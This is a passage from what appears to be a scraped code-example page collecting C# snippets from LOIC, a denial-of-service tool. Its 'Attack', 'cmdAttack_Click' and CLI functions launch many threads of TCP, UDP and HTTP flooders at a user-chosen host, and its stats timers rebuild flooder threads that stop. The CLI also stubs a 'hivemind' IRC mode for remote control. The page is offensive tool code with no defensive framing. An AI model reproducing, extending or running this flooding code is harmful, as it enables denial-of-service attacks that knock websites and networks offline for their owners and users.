                        http[a].Failed     = iaFailed;
                        http[a].Start();
                    }
                }
                lbFailed.Text      = iFailed.ToString();
                lbRequested.Text   = iRequested.ToString();
                lbDownloaded.Text  = iDownloaded.ToString();
                lbDownloading.Text = iDownloading.ToString();
                lbRequesting.Text  = iRequesting.ToString();
                lbConnecting.Text  = iConnecting.ToString();
                lbIdle.Text        = iIdle.ToString();
            }

            intShowStats = false;
        }
Ejemplo n.º 10
0
        private void Attack(bool toggle, bool on)
        {
            if ((btnAttack.Text == "IMMA CHARGIN MAH LAZER" && toggle == true) || (toggle == false && on == true))
            {
                try
                {
                    CheckSettings();
                }
                catch (Exception ex)
                {
                    Log(ex.Message);
                    return;
                }

                btnAttack.Text = "Stop flooding";

                if (Settings.AttackType == AttackTypes.TcpFlood)
                {
                    tcpFlooder = new TCPFlooder[Settings.NumThreads];
                    Packet packet = CreatePacket();
                    for (int a = 0; a < tcpFlooder.Length; a++)
                    {
                        tcpFlooder[a] = new TCPFlooder(packet, Settings.SelectedDevice, Settings.Delay);
                        tcpFlooder[a].Start();
                    }
                }
                else if (Settings.AttackType == AttackTypes.UdpFlood)
                {
                    udpFlooder = new XXPFlooder[Settings.NumThreads];
                    for (int a = 0; a < udpFlooder.Length; a++)
                    {
                        udpFlooder[a] = new XXPFlooder(Settings.TargetIP, Settings.TargetPort, Settings.AttackType, Settings.Delay, chkWaitReply.Checked, Settings.Payload, chkAllowRandom.Checked);
                        udpFlooder[a].Start();
                    }
                }
                else if (Settings.AttackType == AttackTypes.HttpFlood)
                {
                    httpFlooder = new HTTPFlooder[Settings.NumThreads];
                    for (int a = 0; a < httpFlooder.Length; a++)
                    {
                        httpFlooder[a] = new HTTPFlooder(Settings.TargetHost, Settings.TargetIP, Settings.TargetPort, Settings.RelativePath, chkWaitReply.Checked, Settings.Delay, Settings.Timeout, chkAllowRandom.Checked, chkAllowGzip.Checked);
                        httpFlooder[a].Start();
                    }
                }
                tShowStats.Start();
            }
            else
            {
                btnAttack.Text = "IMMA CHARGIN MAH LAZER";
                if (tcpFlooder != null)
                {
                    for (int a = 0; a < tcpFlooder.Length; a++)
                    {
                        tcpFlooder[a].IsFlooding = false;
                    }
                }
                if (udpFlooder != null)
                {
                    for (int a = 0; a < udpFlooder.Length; a++)
                    {
                        udpFlooder[a].IsFlooding = false;
                    }
                }
                if (httpFlooder != null)
                {
                    for (int a = 0; a < httpFlooder.Length; a++)
                    {
                        httpFlooder[a].IsFlooding = false;
                    }
                }
                //tShowStats.Stop();
            }
        }
Ejemplo n.º 11
0
        private void tShowStats_Tick(object sender, EventArgs e)
        {
            if (Settings.IntShowStats)
            {
                return;
            }
            Settings.IntShowStats = true;

            bool isFlooding = btnAttack.Text == "Stop for now";

            if (Settings.AttackType == AttackTypes.UdpFlood)
            {
                int iFloodCount = 0;
                for (int a = 0; a < udpFlooder.Length; a++)
                {
                    iFloodCount += udpFlooder[a].FloodCount;
                }
                lbRequested.Text = iFloodCount.ToString();
            }
            else if (Settings.AttackType == AttackTypes.TcpFlood)
            {
                int iFloodCount = 0;
                for (int a = 0; a < tcpFlooder.Length; a++)
                {
                    iFloodCount += tcpFlooder[a].FloodCount;
                }
                lbRequested.Text = iFloodCount.ToString();
            }
            if (Settings.AttackType == AttackTypes.HttpFlood && httpFlooder != null)
            {
                int iIdle        = 0;
                int iConnecting  = 0;
                int iRequesting  = 0;
                int iDownloading = 0;
                int iDownloaded  = 0;
                int iRequested   = 0;
                int iFailed      = 0;

                for (int a = 0; a < httpFlooder.Length; a++)
                {
                    iDownloaded += httpFlooder[a].Downloaded;
                    iRequested  += httpFlooder[a].Requested;
                    iFailed     += httpFlooder[a].Failed;
                    if (httpFlooder[a].State == HTTPFlooder.ReqState.Ready ||
                        httpFlooder[a].State == HTTPFlooder.ReqState.Completed)
                    {
                        iIdle++;
                    }
                    if (httpFlooder[a].State == HTTPFlooder.ReqState.Connecting)
                    {
                        iConnecting++;
                    }
                    if (httpFlooder[a].State == HTTPFlooder.ReqState.Requesting)
                    {
                        iRequesting++;
                    }
                    if (httpFlooder[a].State == HTTPFlooder.ReqState.Downloading)
                    {
                        iDownloading++;
                    }
                    if (isFlooding && !httpFlooder[a].IsFlooding)
                    {
                        int iaDownloaded = httpFlooder[a].Downloaded;
                        int iaRequested  = httpFlooder[a].Requested;
                        int iaFailed     = httpFlooder[a].Failed;
                        httpFlooder[a]            = null;
                        httpFlooder[a]            = new HTTPFlooder(Settings.TargetHost, Settings.TargetIP, Settings.TargetPort, Settings.RelativePath, chkWaitReply.Checked, Settings.Delay, Settings.Timeout, chkAllowRandom.Checked, chkAllowGzip.Checked);
                        httpFlooder[a].Downloaded = iaDownloaded;
                        httpFlooder[a].Requested  = iaRequested;
                        httpFlooder[a].Failed     = iaFailed;
                        httpFlooder[a].Start();
                    }
                }
                lbFailed.Text      = iFailed.ToString();
                lbRequested.Text   = iRequested.ToString();
                lbDownloaded.Text  = iDownloaded.ToString();
                lbDownloading.Text = iDownloading.ToString();
                lbRequesting.Text  = iRequesting.ToString();
                lbConnecting.Text  = iConnecting.ToString();
                lbIdle.Text        = iIdle.ToString();
            }

            Settings.IntShowStats = false;
        }
Ejemplo n.º 12
0
 private void tShowStats_Tick(object sender, EventArgs e)
 {
   if (frmMain.intShowStats)
     return;
   frmMain.intShowStats = true;
   switch (frmMain.iProtocol)
   {
     case 1:
     case 2:
       this.lbRequested.Text = Enumerable.Sum<XXPFlooder>(Enumerable.Cast<XXPFlooder>((IEnumerable) frmMain.arr), (Func<XXPFlooder, int>) (f => f.FloodCount)).ToString((IFormatProvider) CultureInfo.InvariantCulture);
       break;
     case 3:
       int num1 = 0;
       int num2 = 0;
       int num3 = 0;
       int num4 = 0;
       int num5 = 0;
       int num6 = 0;
       int num7 = 0;
       for (int index = 0; index < frmMain.arr.Length; ++index)
       {
         HTTPFlooder httpFlooder1 = (HTTPFlooder) frmMain.arr[index];
         num5 += httpFlooder1.Downloaded;
         num6 += httpFlooder1.Requested;
         num7 += httpFlooder1.Failed;
         switch (httpFlooder1.State)
         {
           case ReqState.Ready:
           case ReqState.Completed:
             ++num1;
             break;
           case ReqState.Connecting:
             ++num2;
             break;
           case ReqState.Requesting:
             ++num3;
             break;
           case ReqState.Downloading:
             ++num4;
             break;
         }
         if (!httpFlooder1.IsFlooding)
         {
           int downloaded = httpFlooder1.Downloaded;
           int requested = httpFlooder1.Requested;
           int failed = httpFlooder1.Failed;
           HTTPFlooder httpFlooder2 = new HTTPFlooder(frmMain.sIP, frmMain.iPort, frmMain.sSubsite, frmMain.bResp, frmMain.iDelay, frmMain.iTimeout)
           {
             Downloaded = downloaded,
             Requested = requested,
             Failed = failed
           };
           httpFlooder2.Start();
           frmMain.arr[index] = (IFlooder) httpFlooder2;
         }
       }
       this.lbFailed.Text = num7.ToString((IFormatProvider) CultureInfo.InvariantCulture);
       this.lbRequested.Text = num6.ToString((IFormatProvider) CultureInfo.InvariantCulture);
       this.lbDownloaded.Text = num5.ToString((IFormatProvider) CultureInfo.InvariantCulture);
       this.lbDownloading.Text = num4.ToString((IFormatProvider) CultureInfo.InvariantCulture);
       this.lbRequesting.Text = num3.ToString((IFormatProvider) CultureInfo.InvariantCulture);
       this.lbConnecting.Text = num2.ToString((IFormatProvider) CultureInfo.InvariantCulture);
       this.lbIdle.Text = num1.ToString((IFormatProvider) CultureInfo.InvariantCulture);
       break;
   }
   frmMain.intShowStats = false;
 }
Ejemplo n.º 13
0
        private void timerCallback(object sender)
        {
            int top = Console.CursorTop;
            int left = Console.CursorLeft;
            Console.SetCursorPosition(0, top - 1);
            if (proto == 1 || proto == 2) {
                int iFloodCount = 0;
                for (int a = 0; a < xxp.Length; a++)
                {
                    iFloodCount += xxp[a].FloodCount;
                }
                Console.Write(iFloodCount);
            } else { // HTTP, duhrr
                int iIdle = 0;
                int iConnecting = 0;
                int iRequesting = 0;
                int iDownloading = 0;
                int iDownloaded = 0;
                int iRequested = 0;
                int iFailed = 0;

                for (int a = 0; a < http.Length; a++)
                {
                    iDownloaded += http[a].Downloaded;
                    iRequested += http[a].Requested;
                    iFailed += http[a].Failed;
                    if (http[a].State == HTTPFlooder.ReqState.Ready ||
                        http[a].State == HTTPFlooder.ReqState.Completed)
                        iIdle++;
                    if (http[a].State == HTTPFlooder.ReqState.Connecting)
                        iConnecting++;
                    if (http[a].State == HTTPFlooder.ReqState.Requesting)
                        iRequesting++;
                    if (http[a].State == HTTPFlooder.ReqState.Downloading)
                        iDownloading++;
                    if (!http[a].IsFlooding)
                    {
                        int iaDownloaded = http[a].Downloaded;
                        int iaRequested = http[a].Requested;
                        int iaFailed = http[a].Failed;
                        http[a] = null;
                        http[a] = new HTTPFlooder(host, ip, port, data, resp, delay, timeout, rand);
                        http[a].Downloaded = iaDownloaded;
                        http[a].Requested = iaRequested;
                        http[a].Failed = iaFailed;
                        http[a].Start();
                    }
                }
                Console.WriteLine(iIdle + "\t" + iConnecting + "\t" + iRequesting + "\t" + iDownloading + "\t"
                                  + iDownloaded + "\t" + iRequested + "\t" + iFailed);
            }
            Console.SetCursorPosition(left, top);
        }
Ejemplo n.º 14
0
        public CLI(bool hive, string ircserver, string ircport, string ircchannel)
        {
            if (hive) {
                // Doe met de hive connecten
                // enzo
            } else {
                // Doe info vragen.
                Console.WriteLine("Manual mode initialized.\n" +
                    "To use hivemind in CLI, use LOIC /cli /hivemind <server> [port] [channel]");

                Console.Write("Server address and port [server:port]: ");
                string[] target = Console.ReadLine().Split(':');
                host = target[0].ToLower();
                port = Convert.ToInt32(target[1]);

                if (host.StartsWith("https://")) host = host.Replace("https://", "http://");
                else if (!host.StartsWith("http://")) host = String.Concat("http://", host);
                try { ip = Dns.GetHostEntry(new Uri(host).Host).AddressList[0].ToString(); }
                catch
                {
                    Console.WriteLine("The URL you entered does not resolve to an IP!");
                    return;
                }

                do {
                    Console.WriteLine("1 TCP\n2 UDP\n3 HTTP");
                    Console.Write("Choose a protocol: ");
                    try { proto = Convert.ToInt32(Console.ReadLine()); } catch (Exception) {proto = -1;}
                    if (proto < 1 || proto > 3) Console.WriteLine("1, 2 or 3, Derpface!");
                } while (proto < 1 || proto > 3);

                Console.Write("Number of threads: ");
                threads = Convert.ToInt32(Console.ReadLine());

                Console.Write("Delay (0-20): ");
                delay = Convert.ToInt32(Console.ReadLine());

                Console.Write("Wait for response? (Y/n): ");
                resp = !Console.ReadLine().Equals("n", StringComparison.CurrentCultureIgnoreCase);

                Console.Write("Message or subsite: ");
                data = Console.ReadLine();

                Console.Write("Append random characters? (Y/n): ");
                rand = !Console.ReadLine().Equals("n", StringComparison.CurrentCultureIgnoreCase);//Catch.

                if (proto == 3) {
                    //HTTP.
                    Console.Write("Timeout: ");
                    timeout = Convert.ToInt32(Console.ReadLine());
                    http = new HTTPFlooder[threads];
                    for (int a = 0; a < http.Length; a++)
                    {
                        http[a] = new HTTPFlooder(host, ip, port, data, resp, delay, timeout, rand);
                        http[a].Start();
                    }
                    Console.WriteLine("Idle\tConnecting\tRequesting\tDownloading\tDownloaded\tRequested\tFailed\n");
                } else {
                    xxp = new XXPFlooder[threads];
                    for (int i = 0; i < xxp.Length; i++) {
                        xxp[i] = new XXPFlooder(ip, port, proto, delay, resp, data, rand);
                        xxp[i].Start();
                    }
                    Console.WriteLine("Packets sent\n");
                }

                new Timer(new TimerCallback(timerCallback), null, 0, 10);

                while (!Console.ReadLine().Equals("stop", StringComparison.CurrentCultureIgnoreCase));
            }
        }
Ejemplo n.º 15
0
        private void cmdAttack_Click(object sender, EventArgs e)
        {
            if (cmdAttack.Text == "IMMA CHARGIN MAH LAZER")
            {
                try
                {
                    try { iPort = Convert.ToInt32(txtPort.Text); }
                    catch { throw new Exception("I don't think ports are supposed to be written like THAT."); }

                    try { iThreads = Convert.ToInt32(txtThreads.Text); }
                    catch { throw new Exception("What on earth made you put THAT in the threads field?"); }

                    sIP = txtTarget.Text;
                    if (sIP == "" || sIP == "N O N E !")
                    {
                        throw new Exception("Select a target.");
                    }

                    iProtocol = 0;
                    sMethod   = cbMethod.Text;
                    if (sMethod == "TCP")
                    {
                        iProtocol = 1;
                    }
                    if (sMethod == "UDP")
                    {
                        iProtocol = 2;
                    }
                    if (sMethod == "HTTP")
                    {
                        iProtocol = 3;
                    }
                    if (iProtocol == 0)
                    {
                        throw new Exception("Select a proper attack method.");
                    }

                    sData = txtData.Text.Replace("\\r", "\r").Replace("\\n", "\n");
                    if (sData == "" && (iProtocol == 1 || iProtocol == 2))
                    {
                        throw new Exception("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O");
                    }

                    sSubsite = txtSubsite.Text;
                    if (!sSubsite.StartsWith("/") && (iProtocol == 3))
                    {
                        throw new Exception("You have to enter a subsite (for example \"/\")");
                    }

                    try { iTimeout = Convert.ToInt32(txtTimeout.Text); }
                    catch { throw new Exception("What's up with something like that in the timeout box? =S"); }

                    bResp = chkResp.Checked;
                }
                catch (Exception ex) { new frmWtf().Show(); MessageBox.Show(ex.Message, "What the shit."); return; }

                cmdAttack.Text = "Stop flooding";

                if (sMethod == "TCP" || sMethod == "UDP")
                {
                    xxP = new XXPFlooder[iThreads];
                    for (int a = 0; a < xxP.Length; a++)
                    {
                        xxP[a] = new XXPFlooder(sIP, iPort, iProtocol, iDelay, bResp, sData);
                        xxP[a].Start();
                    }
                }
                if (sMethod == "HTTP")
                {
                    HTTP = new HTTPFlooder[iThreads];
                    for (int a = 0; a < HTTP.Length; a++)
                    {
                        HTTP[a] = new HTTPFlooder(sIP, iPort, sSubsite, bResp, iDelay, iTimeout);
                        HTTP[a].Start();
                    }
                }

                tShowStats.Start();
            }
            else
            {
                cmdAttack.Text = "IMMA CHARGIN MAH LAZER";
                if (xxP != null)
                {
                    for (int a = 0; a < xxP.Length; a++)
                    {
                        xxP[a].isFlooding = false;
                    }
                }
                if (HTTP != null)
                {
                    for (int a = 0; a < HTTP.Length; a++)
                    {
                        HTTP[a].isFlooding = false;
                    }
                }
                //tShowStats.Stop();
            }
        }
Ejemplo n.º 16
0
        private void tShowStats_Tick(object sender, EventArgs e)
        {
            if (intShowStats)
            {
                return;
            }
            intShowStats = true;

            bool isFlooding = false;

            if (cmdAttack.Text == "Stop for now")
            {
                isFlooding = true;
            }
            if (iProtocol == 1 || iProtocol == 2)
            {
                int iFloodCount = 0;
                for (int a = 0; a < xxP.Length; a++)
                {
                    iFloodCount += xxP[a].iFloodCount;
                }
                lbRequested.Text = "" + iFloodCount;
            }
            if (iProtocol == 3)
            {
                int iIdle        = 0;
                int iConnecting  = 0;
                int iRequesting  = 0;
                int iDownloading = 0;
                int iDownloaded  = 0;
                int iRequested   = 0;
                int iFailed      = 0;

                for (int a = 0; a < HTTP.Length; a++)
                {
                    iDownloaded += HTTP[a].iDownloaded;
                    iRequested  += HTTP[a].iRequested;
                    iFailed     += HTTP[a].iFailed;
                    if (HTTP[a].State == HTTPFlooder.ReqState.Ready ||
                        HTTP[a].State == HTTPFlooder.ReqState.Completed)
                    {
                        iIdle++;
                    }
                    if (HTTP[a].State == HTTPFlooder.ReqState.Connecting)
                    {
                        iConnecting++;
                    }
                    if (HTTP[a].State == HTTPFlooder.ReqState.Requesting)
                    {
                        iRequesting++;
                    }
                    if (HTTP[a].State == HTTPFlooder.ReqState.Downloading)
                    {
                        iDownloading++;
                    }
                    if (isFlooding && !HTTP[a].isFlooding)
                    {
                        int iaDownloaded = HTTP[a].iDownloaded;
                        int iaRequested  = HTTP[a].iRequested;
                        int iaFailed     = HTTP[a].iFailed;
                        HTTP[a]             = null;
                        HTTP[a]             = new HTTPFlooder(sIP, iPort, sSubsite, bResp, iDelay, iTimeout);
                        HTTP[a].iDownloaded = iaDownloaded;
                        HTTP[a].iRequested  = iaRequested;
                        HTTP[a].iFailed     = iaFailed;
                        HTTP[a].Start();
                    }
                }
                lbFailed.Text      = "" + iFailed;
                lbRequested.Text   = "" + iRequested;
                lbDownloaded.Text  = "" + iRequested;
                lbDownloading.Text = "" + iDownloading;
                lbRequesting.Text  = "" + iRequesting;
                lbConnecting.Text  = "" + iConnecting;
                lbIdle.Text        = "" + iIdle;
            }

            intShowStats = false;
        }